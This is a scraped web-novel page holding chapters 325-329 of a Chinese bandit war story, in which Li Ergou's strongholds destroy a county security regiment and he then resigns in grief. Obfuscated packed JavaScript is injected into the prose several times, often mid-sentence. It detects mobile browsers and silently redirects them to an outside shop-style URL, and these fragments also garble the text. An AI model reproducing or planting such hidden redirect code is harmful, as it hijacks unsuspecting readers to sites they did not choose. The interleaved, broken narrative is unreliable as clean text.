RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118452|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 们,给我狠狠地打!” 一阵**扫射,十几个弟兄就倒在了血泊之中。 陈嘎子此时已经杀红了眼,他刚要冲锋,被身边的一个人死死地摁住了。 “陈经理,不能再冲了,否则咱们这些兄弟就都折进去了。” 陈嘎子这才冷静下来,看着身边或死或伤的兄弟,他心如刀绞。 “陈经理,我们撤吧,敌人火力太猛了。” 陈嘎子心知自己责任重大,一旦撤了,就无法完成全歼保安团的命令。 “不能撤!一旦撤下去,狗哥的计划就全泡汤了,你我都得被寨规处置!” “可……” “轰,轰,轰……” 迫击炮的炮弹在人群中开了花,断体残肢散落在众人身边,活着的人被吓得脸色苍白,有一些胆小之人竟蹲在地上呕吐不止。 熊顶天带领着溃兵逃到山下,与山下的队伍汇合在一起。 张石头按照李二狗的部署,并没有带领着人追击下来。 秀才带领的霸虎寨兄弟怕被张石头带领的人误伤,只在山上呐喊,也没有追击下来。 其实他们就是追击下来也没有多少作用,因为他们手里拿得是大刀长矛。 留守的连长跑到熊顶天面前,大声报告道:“团长,那边是他们埋伏的人,已经被我们打的抬不起头了。” 熊顶天瞅了瞅山上,呐喊声虽然震天响,但却并没有人追下来。 这一仗下来,连土匪的**都没看到,自己带的兵却折损大半,他怎能不恼! 他目露凶光,大喝一声:“彻底消灭他们。” 汇合之后的保安团还有将近一百人,面对仅剩几十个人的清风寨土匪,无疑占据绝对优势。 迫击炮、**、**一阵招呼,陈嘎子已经面临绝境。 “陈经理,再不撤我们就真的全军覆没了。” “不能撤!让兄弟们给我顶住!” “陈经理,你看看,我们只剩下这些兄弟了!” 陈嘎子环视四周,死得死伤得伤,人员已经折损过半,很多人已经吓得趴在地上不敢抬头。 第325章 娘子军被活捉 “陈经理,快撤吧!” 陈嘎子此时无比盼望着李二狗能带人从山上冲下来,他真得已经尽力了! 正在这时,不远处传来一阵**。 陈嘎子为之一振。 “狗哥带人下来了,告诉弟兄们,准备战斗。” “姐妹们,给我狠狠地打。” 分明是**的声音。 陈嘎子惊得腿肚子直打哆嗦。 这时候**带着娘子军赶来,分明就是送死! 她如果出现意外,自己只有以死向李二狗谢罪! “兄弟们,咱们山寨的娘子军来了,都给我狠狠地打,一定要保护她们的安全。” 娘子军中,很多人是他们的媳妇,自己媳妇遇到危险,根本无需动员。 所有的人拼了命一般对着保安团射击。 “团长,这群人要玩命,我看咱们还是撤吧?” “撤?哼!你没听见女人的声音吗?他们肯定是为了这群女人才如此拼命,先对准那群女人,给我狠狠地打!” 迫击炮、**、**纷纷转向娘子军的阵地。 女人毕竟是女人,虽然平时扎个腰带、练个队形做得有模有样,但真打起仗来,一听到枪炮声她们就已吓破了胆。 一阵迫击炮过后,闻着身边的血腥味,看着身边纷纷落下的断体残肢,她们彻底崩溃了。 哭得、喊得、嚎得、吓尿得……有几个胆小的女人吓得扔下枪就往后跑,没跑几步就被**打成了筛子。 **也被吓坏了! 她没想到战争如此残酷无情,这才一眨眼的功夫,很多人就**在自己眼前。 “咻……” 一发**带着长长的哨音向**方向打来。 “素文姐,小心!” 望冬用自己的身体趴到**身上,炮弹在她们不远处**,两名娘子军被当场炸飞! 炮火照亮了她们垂死挣扎的眼神。 **眼睛直勾勾地看着她们嘴中不断涌出的鲜血,吓得脸色苍白,手臂哆嗦的几乎拿不住驳壳枪。 “素文姐,快撤吧!”望冬拉着她的胳膊,火光映红了她同样苍白的脸。 密集的炮弹和**射向娘子军的阵地,此时撤退她们就成了活靶子。 “望冬,是我对不起你们,你带着姐妹们先撤,我留下来掩护你们。” “素文姐,我留下来掩护,你带着她们先撤!” “我是队长,我必须留下来掩护!” “你是队长,你才更应该带着她们撤!” “望冬,别争了!你快带她们撤!” “我不撤!我留下来掩护!” “你出了事,我怎么向老三交代?” “你出了事,我没法向狗哥交代!” “望冬!你再不撤!我就死在你面前!”**用枪顶住了自己的脑袋。 “素文姐,你再不撤,我就死在你面前!”望冬同样也用枪顶住了自己的脑袋。 两个女人在扯皮之时,保安团的人已经冲了过来。 “全部不许动!” **、望冬和十几个娘子军全部成了保安团的俘虏。 陈嘎子带领着清风寨的兄弟发了疯一样冲向保安团,却被**压制在一片洼地动弹不得。 李二狗听到山下战斗激烈,亲自带着秀才、张石头赶到山下支援。 他们在山路山捡了不少保安团丢弃的武器,再也不用拿着大刀长矛作战。 但对于大部分人来说,手里的**还不如大刀长矛好使,他们根本就没学过打枪。 好在张石头带来的人训练有素,他们居高临下,对着保安团的士兵就是一阵猛打。 陈嘎子看到李二狗,仿佛看到了救星。 “兄弟们,咱们的援军到了,给我狠狠地打,一定要救出娘子军。” 保安团被两面夹击,一时陷入被动,一群人被逼到一个山坳里。 “团长,我们被包围了,怎么办?山上的人冲下来了!” 熊顶天看着这些被俘虏的女人,嘴角露出淫邪的笑容,有她们在自己手里,他不信这群土匪敢不管不顾。 “都给我听好了,你们的女人在我手里,若是再敢往前,我立马杀了她们!” 几个娘子军被推到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118453|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 阵地前,**顿时停止了。 旁边的树林已经被炮火点燃,火势熊熊燃烧起来,可以清晰地看到**、望冬等人惊恐的脸庞。 李二狗大骂道:“熊瞎子,你**算什么男人,竟然拿女人当挡箭牌!” 张石头看到自己媳妇的身影,他发疯般抱着一挺**就要冲上去,被秀才在身后死死抱住。 “秀才,你**放开老子,老子和这帮**拼了!” “石头,你冷静点,你这样冲出去不仅救不了她们,还会白白丢了性命。” 张石头已经陷入癫狂,他哪听得进秀才的话。 他挣脱秀才的双手,竟然用**对准了秀才。 “你**再拦着我,老子连你一起突突了。” 说着就要冲出去,李二狗见状,一脚把张石头踢翻在地。 “石头,你**再冲动,老子一脚踹死你!” 李二狗一骂,张石头这才冷静下来,一屁股坐在地上捶胸顿足,手指直直地插入身下的泥土里。 “花花,你别哭,哥一定救你出来。” 熊顶天听着刚才李二狗的声音非常耳熟,好像在哪里听过。 “哈哈,在老子眼里她们根本就不是什么女人,而是土匪,杀了她们是为民除害!” 李二狗突然意识到自己刚才不应该说话,便示意秀才出去喊话。 秀才会意,大声喊道:“熊瞎子,只要你放了她们,我们可以马上放你们走。” “哈哈,你们敢不放我们走吗?你们现在还有什么资格和老子讨价还价?” 秀才威胁道:“不放了她们,你觉得你们能离开这里吗?” 熊顶天哈哈一笑,向**学旺使了一个眼神,**学旺心领神会,对着一个娘子军就是一枪。 “翠花!你们这群畜生!” **怒目而视,恨不得冲上去撕碎了这群刽子手,却被人狠狠地摁在地上。 “狗哥,怎么办?熊顶天这个畜生简直惨无人道。” 李二狗注视着前方,黑暗中**模糊的脸庞被不远处熊熊燃烧的大火映红了。 第326章 保安团全军覆没 如果此时放他们走,以后再想救**等人将难于登天。 但如果不放他们走,**她们可能血溅当场。 放还是不放,李二狗一时难以决策。 **一脸的倔强,目光凝视着李二狗的方向。 她悔恨极了,悔恨自己当初不听李二狗的劝阻。 是自己的一意孤行,害了这么多的姐妹。 虽然她特意留下怀孕的娘子军,没有让她们前来参战,但带来的二十多个姐妹,还是死伤大半,她没有脸面对他们。 **冷冷地盯着熊顶天,大声说道:“你放了她们,我当你的人质!” 熊顶天看着一脸倔强的**,这个小娘们长得可真水灵,无论是身材还是容貌都长在自己的心坎上。 “你当我们人质?是因为你比她们都漂亮吗?哈哈。” **早已将生死置之度外,她只想救出这些姐妹。 “我是李……”**突然想起李二狗的神秘身份,便改口道:“我是山寨大当家的女人,你只要放了她们,我可以保证你们安全离开这里。” 熊顶天没想到自己抓住了土匪头子的女人,这样他便更加有恃无恐了。 “谢谢你告诉我你的身份,不然我还不知道你竟是土匪头子的女人,哈哈。” “你快放了她们,要杀要剐,悉听尊便!” “放了她们?”熊顶天狞笑道:“我为什么要放了她们?我答应你了吗?” **欲哭无泪,她痛恨自己的无知。 “卑鄙!你这个卑鄙小人,快点放了她们,否则我让你死无葬身之地!” “哈哈,我今天算是见识什么叫胸大无脑,哈哈!” “你……无耻!” **伸手扇向熊顶天,却被他一把握住手腕,反手给了她一个大耳光。 “无知的女人!” 李二狗看到**挨打,拳头攥的咯咯直响。 张石头从地上爬起来,拉住李二狗的胳膊。 “狗哥,怎么办?不然我再带人冲一冲吧?” 秀才看了一眼前方的阵地,说道:“这群畜生把娘子军挡在身前,咱们又不敢开枪,这样冲出去可就成他们活靶子了!” 张石头仰天大叫一声。 “这也不行,那也不行,难道就眼睁睁地看着她们被带走吗?狗哥,你倒是说句话啊!” 李二狗在耐心地等待着,他在等待陈老三能及时赶来,这是他唯一的翻盘的机会。 熊顶天那边也等得心焦。 “再不给我们让出一条道,老子就毙了她们。” “秀才,想办法拖住他们。” 秀才不知道李二狗在等什么,但他要拖住,一定有他的道理。 “你们只要放了她们,我们可以保证让你们安全离开。” “你们只要放我们走,我们便放了她们。” “你们先放了她们,我们再让你们走!” “你当我傻吗?你们先放我们走,我们才会放了她们!” “我们如果放你们走,到时候你们不放她们怎么办?” “我们如果放她们走,到时候你们不放我们走怎么办?” 秀才故意用车轱辘话来拖延时间,一来一去,熊顶天的暴脾气有些压不住了。 “别**废话了,从现在开始,每过一分钟,我杀一个女人!计时开始!” 秀才慌了,转眼看向李二狗,李二狗正闭着眼,不知道在想些什么。 “狗哥,快点做决定吧,不然真得救不了她们了。” “还有三十秒!” “还有二十秒!” “还有十秒!” “还有五秒!” “五、四、三、二……” 李二狗突然睁开眼,大喊一声:“我答应你们!” 张石头紧张地几乎难以呼吸,他清楚地看到被保安团推出来的女人正是自己最爱的媳妇花花。 “哈哈,识时务者为俊杰!咱们后会有期!” “等一下!”李二狗冒着暴露身份的危险大声说道:“你们什么时候放了她们?” 熊顶天总觉得对面这个人的声音十分熟悉,自己一定在哪里听过。 “我们撤离的时候,你们不要跟着,等我们到了安全的地方就放了她们。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124207|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' br>**学旺心有不甘地问道:“团长,真把这些小娘们放了?那太可惜了!” “放**腿!到时候放不放还不是咱们说了算?” “高,实在是高!” **突然大声喊道:“你们不要上当,他们不会放了……” **话音未落,熊顶天一个耳光打得她嘴角流血,倒在地上。 “素文姐,”望冬扑到**身旁,“你们这些畜生!连女人都打!你们还是男人吗?” 熊顶天狞笑道:“是不是男人到时候你会知道的!” 李二狗大声问道:“到时候你们要是不放,我们岂不是一点办法都没有吗?我该怎么相信你们!” 李二狗在尽一切努力拖延时间。 “少**废话,如果再啰唆,老子现在就毙了她们!” 张石头一把鼻涕一把泪地说道:“狗哥,还是放他们走吧!” 李二狗知道再也没有办法拖延下去了,老三啊老三,你怎么还没到啊。 “我数三声,再不让开,老子就要大开杀戒了。” “一” “二” “轰,轰,轰……” 炮弹精准地落在保安团的阵地上。 “弟兄们,跟我冲上去剁了这群**的!” 李二狗一声令下,张石头、秀才和陈嘎子从两侧带人冲了上去。 陈老三带着人费了九牛二虎之力,终于把清风寨的两门大炮运了过来。 “再打几发,瞄准了打,千万不要打着娘子军!” “轰,轰,轰……” 几发炮弹打过去之后,陈老三抱着一挺**也冲了上去。 **见状大声喊道:“姐妹们,都趴下,千万不要乱跑!” 娘子军们全部趴在地上,两方展开了激战。 “团长,兄弟们快顶不住了,我掩护,你快走!” 熊顶天也没客套,拍了拍**学旺的肩膀。 “好兄弟,一定要顶住!” 熊顶天本想带着**一起走,但找了半天也没看到她的身影。 他趁乱带着几个人借着夜色的掩护逃出了包围圈。 第327章 李二狗的迷茫 陈嘎子满脸是血地跑到李二狗身边,“扑通”一声跪到地上,痛哭流涕。 “狗哥,我没有完成你交给我的任务,你……**我吧!” 他带领的清风寨兄弟伤亡惨重,娘子军又遭此重创,陈嘎子内心是忐忑的。 如果李二狗把板子打到他身上,他是没有任何理由推脱的。 不过李二狗根本没有责怪陈嘎子的意思,在李二狗的认知里,如今的一切都是他指挥调度的问题,责任在自己,不在别人。 “嘎子,此事不怪你,你快起来。” “狗哥,我……” “好了,嘎子,别说了,你先说说现在是什么情况?找到熊瞎子了吗?” “我带人把所有的地方都找了一遍,没有发现熊瞎子的尸体,这**应该是跑了。” 即使其他人都跑了,只要熊顶天跑不了,这一仗就算是成功的,可偏偏是熊顶天跑了。 熊顶天一跑,后续会给霸虎寨乃至清风寨带来极大的风险。 “嘎子,你赶紧安排人去打扫战场,其他等咱们回到山寨再说。” 陈嘎子没想到李二狗对自己竟没有丝毫责备之言,这更加令他自责,同时也对李二狗愈加佩服。 除了熊顶天侥幸逃脱之外,县保安团几乎被全歼,当然清风寨也折损大半人马,可谓是两败俱伤。 自从李二狗接手清风寨以来,还从没吃过这么大的亏! 他一直以为自己此次计划周密,能轻易歼灭保安团,却没想到竟是这个结果,他实在无法面对这些死去的兄弟们。 正当李二狗陷入深深地自责之时,远处传来望冬的哭喊声。 “素文姐,你不能这样啊!” 望冬死死地拉住**的胳膊,**则是一脸决绝。 “望冬,是我害了你们,我对不起你们,你就让我**吧!” 娘子军死伤过半,还连累清风寨的兄弟一同遭殃,**无法面对她们,更重要的是她不知道自己该如何面对李二狗。 “队长,你不能死啊,我们不怪你!” “是啊,我们不怪你!” “要怪就怪我们自己不中用!” 娘子军的女人们抱在一起哭成一团。 面对折损过半的事实,**内心无法原谅自己。 “都怪我,怪我把你们带来,希望你们不要怪我!” **挣脱望冬的双手,毅然要举枪自尽。 她不仅无法面对娘子军,更无法面对李二狗。 李二狗没有第一时间跑来安慰她,她知道这次李二狗是真的生气了。 “狗哥!你快来劝劝素文姐啊。” 望冬望向李二狗,她知道**这个样子多半是因为李二狗。 李二狗叹息一声,走到**跟前,一把夺下她手中的驳壳枪。 “你还嫌自己闹得不够大吗?” **羞愧难当,几乎不敢直视李二狗的眼睛。 此时的李二狗心力交瘁,他实在没有精力去安慰**。 更重要的是人人都知道自己和**的关系,现如今她惹下弥天大祸,李二狗如果不加以惩治,以后还怎么要求其他人! 可他又怎么忍心惩治**? “老三,你把她们都带回去。” 李二狗说完径直走开了,**哭得梨花带雨,此时的她多么希望李二狗能够安慰她一番。 “素文姐,我们先回去吧。” **情难自已,在望冬的搀扶下,一步三回头地离开了。 “秀才,打扫完战场之后,你安排人把兄弟们的尸首都掩埋了吧。” 秀才看着漫山遍野的尸体,忍不住落下一行热泪。 “放心吧,狗哥,我会安葬好兄弟们,那他们这些人的尸体怎么办?” “都一起埋了吧。” 秀才叹息一声,这么多人的尸体,只能挖坑一起掩埋。 “另外,你通知下去,让各个山寨加强戒备,明天下午两点,在清风寨议事厅召开寨务会。” 李二狗说完,独自一人神情落寞地上了山。 他来到霸虎寨后山的茅草屋,坐在温泉池边的石椅上,那一刻,他终于放下一切包袱,放声痛哭。 哭声如泣如诉,肝肠寸断。 因为自己的盲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124208|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 目自大,导致清风寨遭遇如此重大的损失,他真的无法原谅自己。 以前总感觉自己无所不能,现在看来是多么的可笑。 井底之蛙,夜郎自大,根本不知道天高地厚! 自己的能力只配做一个地主大院的管家,可偏偏要建立清风寨,还收编青山寨、霸虎寨。 三个山寨,几百名兄弟,这些人的未来在哪里? 李二狗自责的同时也感到非常的迷茫,他看不到未来,不知道自己做这些的目的又是什么! 几百名兄弟把性命交到自己手上,他配吗? 他不配! 他真的不配! 李二狗迷迷糊糊中倚靠在椅背上睡着了。 他做了一个同样的梦,梦里的慕容雪正在温泉池中嬉戏,阳光洒落在她娇嫩的脸上,她是那么近,那么美。 “小雪,小雪……” 李二狗在哭泣中醒来,温泉池热气升腾,正咕嘟咕嘟地冒着水泡。 他看了看手表,竟然已是中午。 李二狗从山上走下来,路两旁的许多树木已经烧焦,广场周围到处都是断壁残垣,他清晰地听到一些兄弟在背后对他指指点点。 骑马来到清风寨,众人已经在议事厅等候。 大家全部耷拉着脑袋,神情落寞。 “秀才,你说说昨晚的情况吧。” 秀才从兜里掏出一个小本,翻开后平铺在桌子上。 “本次一共消灭敌人三百九十四人,缴获各类**三百五十八支,迫击炮四门,还有**、炮弹和**若干。” “说说咱们的伤亡情况。” 秀才神情突然变得忧伤起来。 “此次咱们一共死亡……九十八人,受伤一百零八人,娘子军……”秀才顿了顿,“娘子军死亡十一人。” 全场静寂无声,只听到众人的喘息声,他们没想到此次和保安团作战损失竟如此严重。 李二狗的心都碎了,是因为自己的夜郎自大才让如此多的兄弟白白丢掉性命,他内心无法原谅他自己。 “此次山寨损失如此严重,责任完全在我!” 第328章 李二狗钻进牛角尖 陈嘎子“噌”的站了起来。 “狗哥,怎么能怪你一个人呢?是我的责任,是我没有完成你交给我的任务,你处分我吧。” 陈老三也自我检讨道:“是啊,狗哥,不能怨你,如果我能早一点把大炮运过来,咱们的损失不至于这么大!” 张石头也跟着站了起来。 “都怪我,当时如果我在灵活一点,早一点带人下山支援就好了。” 秀才同样表态道:“当时我只考虑霸虎寨的兄弟缺乏武器,没能第一时间下山支援,我也有责任。” 李二狗被众兄弟感动了。 “兄弟们,你们既然叫我一声狗哥,责任当然得由我来扛。” “狗哥,是我的责任。” “是我的责任。” …… 众人激动地全部站了起来,李二狗挥了挥手,示意所有人坐下。 “大家先坐下,听我说。”李二狗缓缓站了起来,“昨天晚上我想了很久,觉得自己已经没有能力带领大家奔前程。” “狗哥……” 李二狗伸手制止了秀才。 “秀才,先听我把话说完。”李二狗顿了顿,接着说道:“我想解散山寨,大家以后还是各奔前程吧。” 李二狗此言一出,举座皆惊。 “不能啊,狗哥!” “是啊,咱们这么多年的苦心经营,怎么能说解散就解散呢?” “我就是死也要死在山寨里!” “我坚决不同意!” 面对大家的不理解,李二狗早有预料,他整理了一下思绪,继续说道:“自从咱们进驻清风寨以来,通过制定寨规、完善管理、训练队伍、建粮仓建福利房等一系列措施,将清风寨建成了江东第一山寨,之后陆续兼并了青山寨、霸虎寨,但是大家有没有想过?” 李二狗环视大家一圈,眼圈泛红。 “无论咱们怎么努力,清风寨都只是一个土匪山寨,兄弟们的未来在哪里?我们努力的意义又在哪里?难道我们当一辈子的土匪吗?” 秀才知道,李二狗这是钻进了牛角尖,此时的他已经迷失了自我。 慕容雪的死对他打击太大,此次损兵折将只不过是压垮他的最后一根稻草罢了。 “狗哥,如今政府**、军阀混战、民不聊生,大家啸聚山林就是为了能有口饭吃。什么未来、什么意义对于咱们这些一无所有的人来说根本没有任何意义,能活下去就是咱们坚持下去的最大意义。” 陈老三附和道:“是啊,狗哥,大家在一起大碗喝酒大块吃肉不好吗?” 陈嘎子深有同感。 “狗哥,如果没有你,没有清风寨,我们可能早就饿**!” 张石头附和道:“大家说得对,离开清风寨,大家只能等死!” 李二狗心灰意冷,大家发自肺腑的话他只当做是安慰之言。 “既然大家不愿意解散山寨,我也不勉强大家,但我以后不能再领导你们了,也请大家不要勉强我。” 陈老三激动地拍案而起,大声说道:“狗哥,你不领导我们,谁能领导我们?除了你,其他人我陈老三谁都不服!” “是啊,狗哥,我们大家只服你!” “你是我们大家的主心骨,没有你我们不行。” 李二狗红了眼眶,但他心意已决。 “大家难道想逼死我吗?” “狗哥……” 秀才拉住激动的陈老三。 “三哥,咱们别再逼狗哥了!” “秀才,这怎么是逼他?难道你**想当老大吗?我告诉你,除了狗哥,我谁都不服!” “三哥,我是哪种人吗?我的意思是先让狗哥冷静一段时间,我们不要再逼他了。” 大家齐刷刷看向李二狗,此时的他精神萎顿、形体衰颓,感觉随时会垮掉。 “狗哥,咱们现在有三个山寨,二百多号兄弟,接下来咱们到底该何去何从?你如果撒手不管,兄弟们就彻底没了主意。” 其实李二狗早就想好了一切。 “我有一个建议,说出来供大家参考。” 大家都没有说话,静静地看着李二狗,他的神态仿佛在交代后事一般。 慕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130542|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 容雪走了,他的魂儿好像也走了。 “咱们三个山寨成品字形布局,互为犄角之势,依托有利地形,如果配合得当,可抵十万雄兵,所以任何时候三个山寨都要抱起一团,决不能搞**,无论哪个山寨受到敌人的攻击,其他两个山寨都要拼尽全力支援。” 大家忍不住点头,李二狗的话确实有战略眼光。 “我建议清风寨由老三驻守,青山寨由嘎子、石头驻守,霸虎寨由秀才驻守,寨务会还是保留,定期召开会议研究三个山寨的大事要事。” 秀才没想到李二狗会把最大的山寨交给自己驻守,他能把大家安排的如此周到,说明他心里还是装着大家装着山寨。 “狗哥,我们大家真的离不开你,你是我们永远的大哥。我们希望你调整一段时间之后,回来继续领导我们。” 李二狗没有答复,而是说道:“秀才,你目前先不要去霸虎寨,另外把霸虎寨的兄弟分到清风寨和青山寨。” 秀才有些不解,问道:“为什么?” “保安团这次吃了大亏,熊顶天肯定不会善罢甘休,霸虎寨目前已经焚毁,还是先保持原状吧,等过一段时间再说。” 李二狗考虑的如此周详,秀才等人深感佩服。 “狗哥,你接下来什么打算?” 对于未来,李二狗现在脑子里是一团浆糊。 “以后的事再说吧,如果大家没有什么不同意见那就分头去准备吧。我只要大家记住一点,无论任何时候,大家都是好兄弟,一定要互帮互助!” 李二狗说完,摆摆手让大家自行散去。 陈老三还想劝阻,但李二狗已经背过身去。 “让狗哥自己待会吧!”秀才说道。 众人离去之后,李二狗环视着议事厅,墙上的三条寨规此时显得异常醒目。 李二狗一直在议事厅坐到天黑,才身心疲惫地走了出去。 夕阳西下,整个清风寨笼罩在刀锋般的斜长影子里,山体被余晖切成明暗两界,飞鸟掠过时,连羽尖都凝着一丝肃杀之气。 第329章 心安处即是吾乡 曾经熙熙攘攘的山寨如今变得冷冷清清,李二狗认为,自己才是造成这一切的罪魁祸首。 他想到了**,她如今的境地何尝不是自己造成的呢? 李二狗快步回到家中,进入院子,房门紧闭,望冬正站在房门口,手里端着一碗米饭。 “狗哥,你总算回来了,快劝劝素文姐吧,她已经一整天滴米未进了。” 李二狗走到房门前,轻轻地敲了敲门板,说道:“素文,是我,你把房门打开,我有话和你说。” 里面半响没有动静,望冬急得直跺脚。 “狗哥,素文姐不会想不开吧?怎么办啊?你快想想办法啊。” “素文,素文……” 里面依然没有动静,情急之下,李二狗一脚踹开房门。 李二狗和望冬都惊呆了。 **正坐在梳妆台前,手里拿着一把剪刀,地上落满了头发,她为自己剃了光头。 李二狗颤抖地想要去抚摸她,手却停在空中不知所措。 “素文,你……你这是做什么?” 她的眼神中没有了往日的光彩,取而代之的是一种死寂。 光头在灯光下显得异常光滑,没有了头发的遮挡,她的脸庞看起来更加瘦削。 她看着镜中的自己,嘴角上扬,露出一个释然的微笑。 她知道,从现在开始,她将告别过去的自己。 **放下剪刀,起身看向李二狗,脸上是一副看破红尘的笑容。 “二狗,你我深爱过,努力过,彼此成就过。此情有憾,然无对错。我累了,往后,咱们各生欢喜吧。” 李二狗把素文搂入怀中,泪流满面。 “素文,对不起,对不起,是我冷落了你,你不要走,我离不开你!” **没有挣扎,此刻,她的内心又何尝不是波涛汹涌。 “过去的**已经**!二狗,你就放手吧,不然我会一辈子活在内疚之中国,**。” 此时的**和李二狗一样,已经钻进了牛角尖。 她无法原谅自己的过错,剃度出家,她会每天早晚为因她而死的亡灵念经超度,只有这样,她的内心才能获得些许的宁静。 可李二狗即便已经伤痕累累,又怎能放手让**离自己而去? 也许她和自己一样,需要的都是时间。 **剃发出家正好可以堵住山寨众兄弟们的悠悠之口,也许这是目前最好的办法。 “素文,只要你答应我留在这里,我便不再勉强你!” **微微一怔,旋即说道:“出家人随遇而安,心安处即是吾乡,阿弥陀佛!” 望冬急哭了。 “狗哥,万万不能让素文姐出家啊。” “望冬,我们给她一点时间吧。” “可……” “你先出去吧。” 望冬只能先退了出去,她已下定决心,如果**离开这里,她一定随她而去。 “素文,一定要这样吗?” “二狗,我不想一直活在内疚之中。” “可我离不开你。” **有些动容,她又何尝离得开李二狗。 可自己生不了孩子,这是她内心永远的痛,生不了孩子的女人不配得到男人的爱。 借此机会,她要离开李二狗。 “这个世界上没有谁离不开谁,习惯就好了。” 尽管**表现出一副风轻云淡的样子,但眼神却始终不敢直视李二狗的眼睛。 “素文,你在这里好好住着,我让老三把这里收拾出来,等你头发长出来,我再带你出去散散心。” “一切随缘吧,阿弥陀佛。” 李二狗离开清风寨回到胡家大院。 县保安团清剿霸虎寨土匪反被土匪全歼的消息早已传遍全县,张二驴隐约感觉这事和李二狗有一定的关系。 前几天他遇到一个同乡,是从霸虎寨回来的。 听他说霸虎寨的几个当家的都被清风寨的人杀了,而李二狗和清风寨的关系不清不楚。 “狗哥,孙县长派人来找你,让你去一趟县里。” 李二狗知道肯定是为了熊顶天的事情。 “二驴,大院最近没什么事吧?” “没有,一切正常,就是二奶奶问了你几次,问你什么时候回来。” 李二狗知道张玲玉找自己是为了什么,现在他对一切都失去了兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130543|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 趣。 “我现在去县城一趟,之后还要再去一趟省城,有事情你向大奶奶汇报,晚上一定要注意大院安全。” “放心吧,狗哥。” 李二狗骑马来到县政府,孙竹刚此时还陷在兴奋之中。 “兄弟,你干得漂亮啊,保安团去了四百多人,只回来几个人。” “只可惜让熊顶天逃回来了。” 孙竹刚说道:“他现在手底下还有几十个怂兵,几乎成了光杆司令,不敢拿我怎么样!” 熊顶天为了剿灭霸虎寨,几乎倾巢出动,县里只留下一个连的士兵看家,加上逃回来的寥寥几人,满打满算只有六七十个人,而县警察局却有二百多人,孙竹刚现在确实有了不怕熊顶天的资本。 更关键的是保安团此次被土匪全歼,消息如果传到汤司令耳朵里,熊顶天能不能活命都很难说。 看着孙竹刚满面红光,李二狗心里却如刀绞。 虽然全歼了保安团,但清风寨也损失巨大,这种杀敌一千自损八百的事情,李二狗是绝对不能接受的。 “大哥找我什么事?” “熊瞎子今晚请我去他们保安团喝酒,我心里有些打鼓,不知道他想做什么。” 熊顶天此次损兵折将,他现在最想做的事情就是尽快重建保安团,而这需要孙竹刚的支持。 “应该是想让你帮忙征兵,他不想当光杆司令。” 孙竹刚听从李二狗的建议,在各乡各村广泛宣传发动,可几天过去了,竟没有一人愿意报名入伍。 “难啊,大家宁可在家饿死也不愿去当兵。” “去年几个大帅打仗,那尸体堆积如山,谁愿意去给他们当炮灰?!” 孙竹刚深有同感,怪不得都说好男不当兵。 “那我就推了他,省得到时候为难。” “你今天推了,明天他还会继续邀请,不达目的他是不会罢休的。” “那怎么办?” “必须想个办法让他尽快离开咱们江东。” “离开江东?除了汤司令谁能让他离开?” 